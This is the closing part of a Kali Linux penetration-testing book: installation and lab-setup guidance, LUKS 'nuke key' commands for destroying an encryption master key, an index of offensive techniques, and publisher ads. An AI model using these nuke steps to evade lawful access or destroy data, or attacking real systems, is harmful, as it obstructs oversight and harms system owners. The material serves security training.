additional configuration changes are required if the USB device needs to be
persistent (retains all changes to the based operating system, applications,
and data that are made during the testing process).
• Install as a virtual machine using products such as VMware or VirtualBox. We
have found this to be the most flexible option to support penetration testing.
• Kali supports two types of network installs—the mini ISO install and the
network PXE install. The mini ISO installs a truncated Kali distribution on
a system and then relies on a fast network connection to install the remainder
of the applications needed for an effective final product. The network PXE
install supports terminals (no CD-ROM and no USB ports) during the
booting process, obtaining the IP address information and installing Kali.
• Kali can now be used from the cloud—a 64-bit minimal image of Kali is
available from the Amazon EC2 marketplace (
marketplace/pp/B00HW50E0M). The Kali image is free, and users are only
charged for regular AWS usage.
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Due to Amazon's regulations, this version of Kali does not use the
root account by default. Once you have obtained your SSH key from
Amazon, you have to connect to the Kali instance as a user, and then
sudo to root. You may have to download additional tools to support
testing. Finally, you have to inform Amazon that it is being used for
legitimate security testing and not as an attack tool.
Installing Kali Linux to a virtual machine
In this book, Kali was configured as a virtual machine (VM). A VM has the
following advantages when used for penetration testing:
• A common test VM can be developed and maintained, ensuring that testers
are familiar with the toolset and their impact on typical target systems.
• VMs facilitate rapid switching between the host and guest operating systems,
allowing the tester to move between Windows and Linux platforms in order
to find the optimum mix of tools for testing.
• VMs are mobile—they can be moved to different systems and operating
• VMs can be retained in a library to facilitate regression testing. After a toolset
has been used to validate the security of a network or system, testers are
often asked if their methodology and tools would have detected a particular
vulnerability present at the time of testing. Testers can go back and retest for
the vulnerability using the archived VM to determine whether it would have
been detected or the network was at a risk of attacks.
Although premade VMs are available for download, most testers create their own
using validated ISO images (the process of installing Kali to a VM is almost identical
to installing it to a hard drive or media, such as a USB key). Kali supports both
VMware and Oracle VirtualBox VMs.
In general, the process is simple and guided by application wizards that walk
you through the process. When using VMware, for example, the process would
be as follows:
1. Select the Create a New Virtual Machine icon to create a new
virtual machine.
2. Choose to create the VM using an ISO image.
3. Select the guest operating system.
4. Set the name and location for the ISO image.
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5. Set the disk space; the minimum used should be 12 GB, but set aside at least
20-25 GB. A minimum of 1 GB memory should be made available to the VM;
however, if you are testing a large network and will be using multithreaded
tools, you may wish to increase this to at least 3 GB.
6. Review the hardware configuration.
Make sure that the VM is configured to be visible only to the host
operating system, especially if it has not been updated. If you are
configuring a VM to use as a target, beware that if it is visible to the
Internet, your test platform may be compromised by an external attacker.
7. Start the VM. The boot menu will provide several options; select
Graphical Install.
8. Follow the prompts to select the normal language, time zone, hostname,
and set root password.
9. When setting the disk partition, and if you're not using the dual boot option,
you can set the full partition as the virtual disk. It is recommended that you
select this option for full disk encryption at this time.
10. The VM application will complete partitioning, write the changes to the
disk, and then install the system files. After prompting for some additional
configuration information, the VM will reboot.
11. At this point, the system is live. Configure to support penetration testing as
described in Chapter 1, Starting with Kali Linux.
Preconfigured distributions of Kali usually rely on the default
username and password and may have pregenerated SSH host
keys. These should be changed as soon as possible.
Full disk encryption and nuking the master key
Penetration testers typically have sensitive information in their possession—a
successful test can reveal flaws in a client's network, and even the tools used
to conduct a penetration test may be classified as illegal in some jurisdictions.
Therefore, testers frequently secure their systems using full-disk encryption.
During the partitioning phase of installation to a hard drive or virtual machine,
Kali can be set to use full-disk encryption using a combination of Logical Volume
Management (LVM) and the Linux Unified Key Setup (LUKS), which is the
standard application for Linux hard drive encryption. This is shown in the
following screenshot:
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Access to the encrypted drive requires a passphrase, and it is recommended that
the passphrase have a length of 20 or more characters. Unfortunately, given the
recent emergence of state-sponsored surveillance, there are concerns that testers
could be compelled to give their passphrase to a government agent, removing the
benefits of encryption.
The solution is to provide a passphrase that will nuke, or destroy, the master key.
This will ensure confidentiality, making it impossible to decrypt the drive.
This capability was recently added to Kali Linux release 1.06.
Kali Linux incorporates LUKS, which is a platform-independent encryption
specification that allows a user to encrypt partitions on a hard drive. LUKS allows
multiple user keys to decrypt the master key, allowing multiple users to encrypt
and decrypt the data, and permits the use of backup keys.
When a LUKS-encrypted container is created, a random master key is generated.
This master key is encrypted using the passphrase. The advantage of this approach
is that the passphrase is not directly linked to the data—if two identical volumes are
encrypted and the same passphrase is used, the master keys remain unique to their
volume and cannot be swapped.
[ 317 ]
Installing Kali Linux
This means that if the master key is lost or destroyed, it is impossible to recover
the encrypted data. This property allows us to nuke the recovery of an encrypted
volume or hard drive by deliberately wiping the master key if a specific passphrase
is entered. The emergency self-destruction functionality was added to Kali Linux
release 1.06 and can be implemented using the cryptsetup utility.
To use the nuke functionality:
1. Install Kali with the Full Disk Encryption option. Before Kali is installed, all
partitions will be erased; this will result in a slow installation.
2. Verify the LUKS header information for the encrypted hard drive using the
following command:
[email protected]:~# cryptsetup luksDump /dev/sda5
Key Slot 0, associated with the password for the disk encryption, is enabled.
The remaining key slots are unused. The execution of the previous command
is given in the following screenshot:
[ 318 ]
3. Add the Nuke key using the following command:
[email protected]:~# cryptsetup luksAddNuke /dev/sda5
The system will prompt you for the existing passphrase to validate identity
and then will ask you the new passphrase to be used for the nuke option.
Be careful—it does not prompt the user to repeat the passphrase twice in
order to guard against a miskey during entry. The execution of the previous
command is shown in the following screenshot:
4. To confirm that the nuke key has been enabled, review the list of available
key slots, using the command shown in the following screenshot:
Key slot 1 is now enabled; it contains the nuke key.
5. Back up the keys using the following command:
[email protected]:~# cryptsetupluksHeaderBackup --header-backup-file
<filename> /dev/sda5
[ 319 ]
Installing Kali Linux
6. Once the master key file has been backed up, encrypt it and transfer it off the
system for secure storage. Several applications are available for encryption
(for example, 7 Zip, bcrypt, ccrypt, and GnuPG), or you can use an internal
command such as openssl. A sample command is as follows:
[email protected]:~# opensslenc -aes-256-cbc -salt -in <filename>
-out <encrypted filename.enc>
When the backup file has been secured, your system is protected against
forced password extraction. If the nuke password is entered, the local copy
of the master key will be destroyed, making it impossible to access the
encrypted files.
If you dump the LUKS headers after issuing the nuke password, you will see
an output as shown in the following screenshot:
What if you want to restore a drive that you were forced to nuke? As long as you
can retrieve the encrypted header from the remote storage location, this is a simple
matter; you will be able to decrypt the hard drive and recover your data. Once the
encrypted header has been decrypted (using the appropriate decryption command
based on the method used to protect the file), enter the following command:
[email protected]:~# cryptsetupluksHeaderRestore --header-backup-file
<filename> /dev/sda5
[ 320 ]
This will generate the following warning:
Device /dev/sda5 already contains LUKS header, Replacing header will
destroy existing keyslots. Are you sure?
When you are prompted, type YES. This will replace the header and allow you to
decrypt the hard drive.
Setting up a test environment
Before testing a production environment, it is important for the tester to fully
understand how to use the testing tools, the impact that they will have on the target
system, and how to interpret the data in relation to the activities performed against
the target.
Testing controlled environments frequently produces results that are different from
same tests when they are run on a production system for several reasons, including
the following:
• The operating system in the target environment differs from the operating
system in the test environment, including different versions of the operating
system. (XP is clearly different from Windows 8.1, but there are also
differences between Windows 8.1 Pro and Enterprise versions or between
32-bit and 64-bit operating system.) Operating system modifications to
support local languages can also have a significant impact on the presence
of vulnerabilities.
• The target environment has different service packs, patches, or
upgrades applied.
• The target environment has different third-party applications installed; these
can conflict with network traffic, introduce new vulnerabilities, or impact a
tester's ability to exploit the existing vulnerabilities.
• Targets configured as virtual machines in a host environment may react
differently from target systems installed directly on bare metal.
• Targets are protected by various network and system devices
and applications.
To obtain the best possible results, testers (and attackers) typically use a twostage testing process. Testers first perform the attack using a well-defined virtual
machine (such as Windows XP) to determine the most effective attack tools and
methodologies; once this simple test case is proven, testers revalidate the attack
using a more complex virtual or physical network that mirrors the target network
as closely as possible.
[ 321 ]
Installing Kali Linux
Vulnerable operating systems and
Testers usually maintain a library of the current and historical operating systems.
When testing Microsoft operating systems, WinXP is used as the reference standard to
test vulnerabilities. Although Windows XP will be deprecated in 2014 and no longer
supported by Microsoft, it will remain on many networks in servers and workstations
as well as embedded in devices such as printers and point-of-sale terminals.
When testing vulnerable Windows operating systems, a subscription to MSDN
( is invaluable in
order to gain access to current Microsoft products to test in the lab.
Do not use operating systems downloaded from public filesharing services such as Torrent sites. DigitalDefence recently
evaluated 40 downloads of Microsoft operating systems from
Torrent sites—every download was infected with a backdoor to
permit remote access to an attacker.
To test older third-party Windows applications that possess specific vulnerabilities,
testers can access online repositories that retain old copies of the applications; many
of these include exploitable vulnerabilities. Examples of such repositories can be seen
at the following links:
Due to their open source nature, multiple versions of Unix-like operating systems
(Linux, BSD, and Solaris) are available for download and testing.
The following projects will allow you to test Unix operating system installations with
known vulnerabilities, you can access:
• Damn Vulnerable Linux (
• LAMPSecurity (
• Metasploitable2 (
Older Unix applications with known vulnerabilities are usually available for
download at the application's website.
[ 322 ]
Complex environments for testing (operating system and vulnerable applications)
can be downloaded from the VulnHub repository at These
images are usually accompanied by walk-throughs that demonstrate various ways to
exploit the images. Some of the images include the following:
• bWAPP: This provides several ways to deface a sample website
• VulnVPN: This allows the tester to exploit the VPN service in order to access
the server and internal services and gain root access
• VulnVoIP: This allows the tester to practice reconnaissance and allows the
exploitation of a VoIP network
Finally, testers will want to take advantage of some of the vulnerable web-based
applications that are available for testing.
One of the most common testing targets is the Linux image called Metasploitable.
The base operating system has multiple vulnerabilities; in addition, it loads
vulnerable web applications when it starts. To access the applications, open
Metasploitable as a VM and then start a separate VM with Kali Linux. In the Kali
VM, open a browser and enter the IP address of the Metasploitable VM. You will see
the menu options, as shown in the following screenshot:
[ 323 ]
Installing Kali Linux
The web-based applications can be useful to support enterprise testing as well as
specific attacks against web applications. The five applications are as follows:
• TWiki: This is a wiki application that supports enterprise collaboration
during the testing process; it uses structured content to create simple
workflow systems
• phpmyadmin: Allows remote administration of MySQL databases over
the Web
• webdav: The Web-based Distributed Authoring and Versioning set of
extensions to the HTTP protocol, which allows users to collaboratively edit
and manage files on remote web servers
• Mutillidae: A vulnerable web-hacking application composed of PHP scripts
that are vulnerable to the top 10 vulnerabilities of OWASP
As you can see in the following screen excerpt, the top 10 vulnerabilities
are available in a drop-down menu. For example, selecting the option
A2 - Cross Site Scripting (XSS) gives you access to submenus matched to
specific vulnerability types (Reflected, Persistent, DOM Injection, and so on).
[ 324 ]
The database specified in the Mutillidae configuration file is
incorrect, and you may receive multiple errors for operations that
require database access. To fix these, log in to Metasploitable2 and
edit the /var/www/mutillidae/ file; change the
dbname field from metasploit to owasp10.
• Finally, the Metasploitable framework launches the Damn Vulnerable Web
Application (DVWA) that provides a different set of challenges to practice
attacks against specific vulnerabilities.
Other vulnerable web-based apps that have been well characterized include
the following:
• Hackxor: This is a web application hacking game that forces players to
progress through a story to solve challenges related to various vulnerabilities
• Foundstone: This has released a series of vulnerable web applications,
including a bank, bookstore, casino, shipping, and a travel site
• LAMPSecurity: This provides a series of vulnerable VMs designed to teach
Linux, Apache, PHP, and database security (
[ 325 ]
Installing Kali Linux
• OWASP Broken Web Applications Project: This is a collection of
vulnerable web applications (
• WebGoat: This is an insecure J2EE web application that attempts to
provide a realistic testing environment. It is maintained by OWASP
• Web Security Dojo: This training application released by Maven Security
(, contains
several target images, including Damn Vulnerable Web App, Google's
Gruyere, Hackme's Casino, OWASP's Insecure Web App and WebGoat,
w3af's test website, and several vulnerability-specific targets. It also contains
a toolset to support exploitation.
[ 326 ]
maintaining, with web backdoors 254-256
access point, wireless communications
cloning 224, 225
active fingerprinting 77
active reconnaissance
about 65, 66
active services, determining 79, 80
host enumeration 75
network infrastructure, identifying 73
operating system, fingerprinting 77
port scanning 76
stealth scanning techniques 66
Active Scripting language 286
active services
banner grabbing 79
default ports and services, identifying 79
default web pages, reviewing 79
determining 79
source code, reviewing 80
Advanced Packaging Tools (APT)
about 24
apt-get dist-upgrade command 25
apt-get update command 24
apt-get upgrade command 24
commands 24
Advanced RISC Machines (ARM) 313
aircrack-ng site 204
aircrack tools 209
airodump command 206
antivirus detection
bypassing 110-117
application-specific attacks
about 251
brute-forcing access credentials 251
injection attacks, against databases 252-254
apt-file command 36
apt-get dist-upgrade command 25
apt-get update command 24
apt-get upgrade command 24
Arachnid 240
Arduino-based attack vector 175
used, for exploring multiple
targets 105, 106
used, for team testing 107, 108
Armitage attack
scripting 108, 109
attacker's URL, social engineering attack
obfuscating 192, 193
Authentication Header (AH) 278
authentication tokens
access credentials, manipulating
with WCE 142
escalating, from Administrator
to SYSTEM 143
replaying, incognito used 140, 141
AWUS036NH adaptors 204
backdoor 149
BackTrack 15
Basic Service Set Identifier (BSSID) 206
about 171, 299
color-coding scheme 304
configuring 300
installing 300
integrating 300-302
integrating, with Metasploit
attacks 308, 309
tasks, performing 299
using, as tunneling proxy 309-311
BeEF browser
Clippy 306
control panel 303
overview 303, 304
Pretty Theft 307
BeEF Shank 304
Belkasoft RAM capturer 130
bidirectional port redirection 167
Boot Up Manager (BUM) 27
Brower Exploitation Framework. See BeEF
brute-force attacks 219, 222
brute-forcing access credentials 251
BT. See BackTrack
using 244
bWAPP 323
bypassuac module 122
comprehensive reconnaissance applications
employing 80
Maltego 85
nmap 81
Recon-ng framework 82
compromised system
rapid reconnaissance, conducting 122-127
confirm close mechanism 310
Credential Harvester Attack Method
about 174
using 186-188
Credential harvesting attack 188
Cross-Site Scripting. See XSS
crunch 260
about 158
using 158
cryptsetup utility 318
csrf command 298
customizations, Kali 25
CutyCapt 39
CeWL 260
check_connected command 298
client-side exploitation
about 285
attacks, launching using VBScript 286-289
system, attacking using hostile scripts 286
systems, attacking using Windows
PowerShell 289-291
client-side proxies
Burp Suite 243
Paros 243
ProxyStrike 243
used, for testing security 243-249
vulnerability scanner Vega 243
WebScarab 243
client-side systems
attacking, hostile scripts used 286
attacking, Windows
PowerShell used 289-291
Common User Password Profiler(CUPP) 61
securing, Secure Shell used 21, 22
Damn Vulnerable Web
Application (DVWA) 325
Debian package management system
about 23
Advanced Packaging Tools
(APT) used 24, 25
Dpkg 24
packages 23
repositories 23
Deepmagic Information Gathering
Tool. See DMitry
Demilitarized Zone (DMZ) 166
DHCP (Dynamic Host Configuration
Protocol) 18
Diffie-Hellman algorithm 269
DLL hijacking 139
DMitry 80
DNS information
IPv4 51
IPv6 53
using 50
DNS-Loadbalancing 74
DNS reconnaissance
route mapping 47, 54-57
[ 328 ]
DNS redirection
used, for escalating attack 194
document metadata
about 59
collecting 59, 60
DomainKeys Identified Mail (DKIM) 50
Domain Name Service(DNS) 50
DoS attacks
about 225
examples 225, 226
DoS attack tool
LOIC 250
Dpkg 24
dsniff switch 173
dynamic link library (DLL) files 139
fgdump 139
Filesystem Hierarchy Standard (FHS) 16
Foundstone 325
full-disk encryption
using 316, 320
Generic XSS injection 294
gnome-tweak-tool command 36
GoLismero 240
google dorks 46
GoToMyPC 264
Encapsulation Security Protocol (ESP) 278
encrypted folder
creating, with TrueCrypt 30-33
encryption ciphers
null 269
strong 269
weak 269
Ettercap switch 173, 194
executables, social engineering attack
hiding 192
existing system and application files
compromising, for remote access 150
existing system and application files,
Telnet service, enabling remotely 150-152
Virtual Network Computing, enabling
remotely 154, 155
Windows Terminal Services, enabling
remotely 152, 153
Exploit Database
URL 94
exploit phase
about 91
antivirus detection, bypassing 110-117
local vulnerability resources, using 93-97
online vulnerability resources, using 93, 94
threat modeling 92
Extended Service Set Identifier (ESSID)
about 207-210
capturing 211
Hackxor 325
hashtab 314
Hidden Service Set Identifier
bypassing 209
hivelist plugin 132
hobocopy 139
hook 299
horizontal escalation
used, for accessing new accounts 143
host enumeration, active reconnaissance
about 75
live host discovery 75
hostile physical access 198
HTTP-Loadbalancing 74
hydra 260, 262
ifconfig command 18
iFrame keylogger mechanism 311
ike-scan tool 280
used, for replaying authentication
tokens 140, 141
initialization vector (IV) 214
URL 94
instanbul 36
interactive persistence
maintaining 149
[ 329 ]
interceptor 194
Internet Key Exchange (IKE) 279
about 278
Authentication Header (AH) 278
Encapsulation Security Protocol (ESP) 278
Security Association 279
IPSec VPN, attacking
default user accounts, identifying 283
offline PSK cracking, performing 282, 283
pre-shared keys, capturing 282
security, accessing 279
VPN gateway, fingerprinting 280, 281
VPN gateways, scanning 279, 280
keylogger command 298
about 207
launching 208
LAMPSecurity 325
Linux Unified Key Setup (LUKS) 316, 317
load_applet command 298
load_pdf command 298
load xssf command 293
Local host (LHOST) 102
Logical Volume Management (LVM) 316
LogMeIn 264
Low Orbit Ion Cannon (LOIC) tool 250
Java Applet Attack Method
about 174
launching 181
using 181-185
Kali Linux
about 15, 313
configuring 25
configuring, for wireless attacks 204
customizing 25
encrypted folder, creating with
TrueCrypt 30-35
features 16
folders, sharing with Microsoft
Windows 28, 29
full-disk encryption, using 316, 317
installation options 314
installing 313, 314
installing, to virtual machine(VM) 315, 316
Kali operations, speeding up 26-28
master key, nuking 318-320
network installs 314
non-root user, adding 26
root password, resetting 26
updating 23
Kali operations
speeding up 26-28
MAC address authentication
bypassing 212, 213
about 46, 85-87
URL 85
MandiantMemoryze 130
man-in-the-browser mechanism 311
MassMailer Attack 175
Media Access Control (MAC) address 211
medusa 260
Metagoofil 60, 61
used, for creating standalone persistent
agent 163-165
used, for post-exploit activities 134-138
Metasploitable 100, 323
Metasploit Browser Exploit Method 174
Metasploit Framework. See MSF
Metasploit Pro 110
Metasploit variables 173
metsvc script
about 159
using 159
Microsoft operating systems
testing 322
Microsoft Windows
folders, sharing with 28, 29
mini ISO install 314
[ 330 ]
modules, MSF
auxiliary modules 99
encoders 99
exploits 98
No operations (NOPs) 99
payloads 98
post modules 99
MonsolsDumpIt 130
about 98
modules 98
used, for exploring system 99-103
Multi-Attack Web Method
about 175
using 190
multiple targets
exploring, Armitage used 105, 106
about 324
using 295-298
Mutillidae website
using 246
National Vulnerability Database
URL 94
ncrack 260
URL 88
employing, as persistent agent 155-158
functions 155, 156
netstat query 22
netstat -rn command
using 128
net view command
using 128
network infrastructure,
active reconnaissance
identifying 73, 74
network installs
mini ISO install 314
network PXE install 314
Network Mapper (Nmap) 68
network proxy settings
adjusting 20, 21
network PXE install 314
network services
configuring 18, 19
URL 88
Nikto 240
NirSoft 139
nmap tool
about 76, 81, 279
scripted functions 81
using 77
nmap NSE modules
about 270
ssl-cert 270
ssl-date 270
ssl-enum-ciphers 270
ssl-google-cert-catalog 270
ssl-known-key 270
sslv2 270
Nmap Scripting Engine (NSE) 81
non-persistent, XSS vulnerabilities 291
non-root privileges
third-party applications,
running with 37, 38
non-root user
adding 26
nslookup 50
NT LanMan (NTLM) hashes 131
nuke functionality
using 318-320
null ciphers 269
offensive security 313
openoffice 36
Open-source intelligence. See OSINT
Open Source Vulnerability Database
Project (OSVDP)
URL 94
Open Vulnerability Assessment
System (OpenVAS)
limitations 88
operating system
active fingerprinting 77
fingerprinting 77
passive fingerprinting 77
[ 331 ]
operating system communication protocols
exploiting 258
Organizational Unique Identifier 212
about 45
online information sources 46
OWASP Broken Web
Applications Project 326
OWASP's Mantra
about 238
application auditing 239
editors 239
information gathering 238
miscellaneous 239
network utilities 239
proxy 239
using 239
packages 23
packet capture (pcap) files 67
Packetstorm security
URL 94
passive fingerprinting 77
patator 260
penetration tests
managing 38-40
persistence, maintaining with Metasploit
metsvc script, using 159-161
persistence script, using 161-163
persistence script
about 161
using 162, 163
persistent agents
functions 149, 150
Netcat, employing 155-158
using 155
persistent(stored), XSS vulnerabilities 292
phishing 176
phpmyadmin 324
physical access 197
pilfering 129
pillaging 129
pop-under module mechanism 310
bidirectional port redirection 167
redirecting, to bypass network controls 165
simple port redirection 166
port scanning 76
post-exploit activities
additional accounts, creating 133, 134
authentication tokens, replaying using
incognito 140, 141
Metasploit, used 134-138
new accounts, accessing with horizontal
escalation 143
rapid reconnaissance of compromised
system, conducting 122-128
target, pillaging 129-132
tracks, covering 144-146
user privileges, escalating on compromised
host 139
Windows UAC, bypassing 120-122
about 126
cmdlets 127
Powershell attack vectors 175
PowerShell injection attack
about 190
launching 190
using 191
pre-shared key (PSK) 219
primary targets 92
process injector 139
proof of concept (POC) exercise 97
pwdump 139
QRcode generator attack vector 175
installing 267
configuring 200
Raspberry Pi 200
Raspberry Pi attack vectors
about 200
configuring 200
about 152
compromising 258-261
[ 332 ]
about 43
active reconnaissance 43
basic principles 44, 45
passive reconnaissance 43
reconnaissance, of websites
conducting 230-235
about 82, 83
using 83-85
redirect command 298
reflected vulnerabilities. See non-persistent
XSS vulnerabilities
remote access applications
exploiting 264, 265
Remote Administration Tool Tommy
Edition (RATTE) 175
Remote Desktop Protocol. See RDP
Remote host (RHOST) 102
Remote port (RPORT) 102
repositories 23
rootkit 149
root password
resetting 26
RunAs attack
disadvantages 121
launching 121
SAM database 129
same-origin policy 291
scrub 36
secondary targets 92
URL 94
Secure Shell (SSH) protocol
about 21
compromising 262, 263
Secure Sockets Layer. See SSL
testing, with client-side proxies 243-249
Security Accounts Manager
database. See SAM database
URL 94
Sender Policy Framework (SPF) 50
server exploits 250
Service records(SRV) 50
about 172, 175
advantages 172
attacks 174
launching 172-174
shared folders 28, 29
shikata_ga_nai protocol 164
shutter 36
simple port redirection 166
Skipfish 240
SMS spoofing attack vector 175
sniffer 194
social engineering 171
social engineering attacks
Arduino-based attack vector 175
create payload and listener module 175
escalating, DNS redirection used 194-197
hostile physical access 198
infectious media generator 175
key factors 171
MassMailer Attack 175
physical access 197
Powershell attack vectors 175
QRcode generator attack vector 175
SMS spoofing attack vector 175
spear-phishing attack vector 174
third party modules 175
website attack vectors 174
wireless access point attack vector 175
Social-Engineer Toolkit. See SEToolkit
spear phishing attack
about 176
launching 176
performing 177-181
spear-phishing attack vector 174
SQL injection attack
against, Mutillidae database 252
sqlmap 252
SSL 266
SSL, attacking
Kali, configuring for SSLv2
scanning 267, 268
reconnaissance phase, of SSL
connections 269-274
[ 333 ]
service attacks denial against SSL 277, 278
sslstrip, used for conducting
man-in-the-middle attack 275, 277
sslcaudit tool 271
sslscan tool 271
sslsniff tool 271
sslsplit tool 272
sslstrip tool
about 272
used, for conducting
man-in-the-middle attack 275-277
SSLyze 278
sslyze python tool 273
sslyze tool 272
standalone persistent agent
creating, Metasploit used 163-165
stealth scanning strategies,
active reconnaissance
about 66
packet parameters, modifying 68, 69
proxies, using with anonymity
networks 69-72
source IP stack and tool identification
settings, adjusting 66, 67
strong ciphers 269
Tabnabbing Attack Method
about 174
launching 188
using 188
pillaging 129-132
primary targets 92
secondary targets 92
tertiary targets 92
TCP/IP Swiss army knife 155
team testing
Armitage, used 107, 108
team viewer 36
Telnet service
enabling, remotely 150-152
terminator 36
tertiary targets 92
test environment
complex environments 323
Microsoft operating systems, testing 322
setting up 321
third-party Windows applications,
testing 322
Unix applications, testing 322
Unix operating system installations,
testing 322
theharvester tool
about 58
using 58, 59
third-party applications
installing 35, 37
managing 35
running as, with non-root privileges 37, 38
third-party Windows applications
testing 322
threat modeling 92, 93
time to live (TTL) field 54
TLS 266
tlssled tool 272
about 69
considerations 73
installing 70, 71
URL 69
using, with Privoxy 70
traceroute 74
Transport Layer Security. See TLS
Trivial File Transfer Protocol (TFTP) 156
used, for creating encrypted folder 30-35
TSSLed 278
TWiki 324
Unix applications
testing 322
Unix operating system installations
testing 322
updating, Kali Linux
Debian package management system 23
user information
document metadata, collecting 59-61
e-mail address, collecting 58
names, collecting 58
obtaining 57
[ 334 ]
user privileges
escalating, on compromised host 139
profiling, for password lists 61, 62
about 286
used, for launching attacks 286-289
Vega 240
about 112, 113
features 111
Vendor ID (VID) 281
vertical escalation 139
virtual machine (VM)
about 16
Kali Linux, installing 315, 316
Virtual Network Computing
enabling, remotely 154
URL 165
Visual Basic Scripting Edition. See VBScript
about 278
IPSec 278
SSL 278
vulnerability scanners
about 236
Arachnid 240
for web services 236
functionality of traditional vulnerability
scanners, extending 237, 238
functionality of web browsers,
extending 238
GoLismero 240
Nikto 240
Skipfish 240
Vega 240
w3af 240
Wapiti 241
Webscarab 241
web service-specific vulnerability
scanners 240
Webshag 241
Websploit 241
web vulnerability scanners 236
vulnerability scanning
about 88
limitations 88
vulnerable application
exploring 103, 104
vulnerable web-based apps
Foundstone 325
Hackxor 325
LAMPSecurity 325
OWASP Broken Web Applications
Project 326
WebGoat 326
Web Security Dojo 326
VulnHub repository
URL 323
VulnVoIP 323
VulnVPN 283, 323
vulscan script
URL 81
w3af 240
Wapiti 241
war dialing attack 48
about 142
using 142
weak ciphers 269
Web Application Attack and Audit
Framework. See w3af
web backdoors
used, for maintaining access 254-256
web-based applications
Mutillidae 324
phpmyadmin 324
testing 324
TWiki 324
webdav 324
webcam_capture command 298
webdav (Web-based Distributed Authoring
and Versioning) 324
WebGoat 326
Web Jacking Attack Method 174
Webscarab 241
Web Security Dojo 326
web service-specific vulnerability
scanners 240
[ 335 ]
Webshag 241
website attack vectors
about 174
Credential Harvester Attack Method 174
Java Applet Attack Method 174
Metasploit Browser Exploit Method 174
Multi-Attack Web Method 175
Tabnabbing Attack Method 174
Web Jacking Attack Method 174
Websploit 241
web vulnerability scanners 236
about 254
creating 255
WEP encryption
compromising 213-219
WHOIS 48, 49
WiFi Protected Access 2 (WPA2) 219
WiFi Protected Access (WPA) 213, 219
Wi-Fi Protected Setup (WPS) protocol 223
Windows Management Instrumentation
Command-line (WMIC) 125
Windows PowerShell
about 289
used, for launching attacks 290, 291
Windows Terminal Services
enabling, remotely 152, 153
Windows UAC
bypassing 120, 121
settings 120
wireless access point attack vector 175
wireless communications
access point, cloning 224
DoS attacks 225
exploiting 203
Kali, configuring for wireless attacks 204
MAC address authentication,
bypassing 211-213
WEP encryption, compromising 213-218
wireless reconnaissance 204
WPA and WPA2, attacking 219
Wireless Equivalent Privacy (WEP) 213
wireless reconnaissance
about 204-207
Kismet 207
Wireshark 128
wkhtmltoimage tool 82
WPA and WPA2
about 219
attacking 219
brute-force attacks 219-223
wireless routers, attacking with Reaver 223
x.509 certificate 269
XSS 291
XSSF logs page 295
XSS framework
about 292
installing 293
XSSF test page 295
XSSF Tunnel function
about 292
using 293
XSSF Tunnel Proxy 295
XSS vulnerabilities
about 291
non-persistent 291
persistent 291
URL 46
zombie 299
[ 336 ]
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Mastering Kali Linux for Advanced Penetration Testing
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Web Penetration Testing with
Kali Linux
ISBN: 978-1-78216-316-9
Paperback: 342 pages
A practical guide to implementing penetration
testing strategies on websites, web applications,
and standard web protocols with Kali Linux
Learn key reconnaissance concepts needed
as a penetration tester.
Attack and exploit key features, authentication,
and sessions on web applications.
Learn how to protect systems, write reports,
and sell web penetration testing services.
Kali Linux Cookbook
ISBN: 978-1-78328-959-2
Paperback: 260 pages
Over 70 recipes to help you master Kali Linux for
effective penetration security testing
Recipes designed to educate you extensively
on penetration testing principles and Kali
Linux tools.
Learning to use Kali Linux tools, such as
Metasploit, Wireshark, and many more
through in-depth and structured instructions.
Teaching you in an easy-to-follow style, full of
examples, illustrations, and tips that will suit
experts and novices alike.
Please check for information on our titles
Kali Linux Social Engineering
ISBN: 978-1-78328-327-9
Paperback: 84 pages
Effectively perform efficient and organized social
engineering tests and penetration testing using
Kali Linux
Learn about various attacks, and tips and
tricks to avoid them.
Get a grip on efficient ways to perform
penetration testing.
Use advanced techniques to bypass security
controls and remain hidden while performing
social engineering testing.
Learning Nessus for Penetration
ISBN: 978-1-78355-099-9
Paperback: 116 pages
Master how to perform IT infrastructure security
vulnerability assessments using Nessus with tips
and insights from real-world challenges faced
during vulnerability assessment
Understand the basics of vulnerability
assessment and penetration testing as
well as the different types of testing.
Successfully install Nessus and configure
scanning options.
Learn useful tips based on real-world issues
faced during scanning.
Please check for information on our titles
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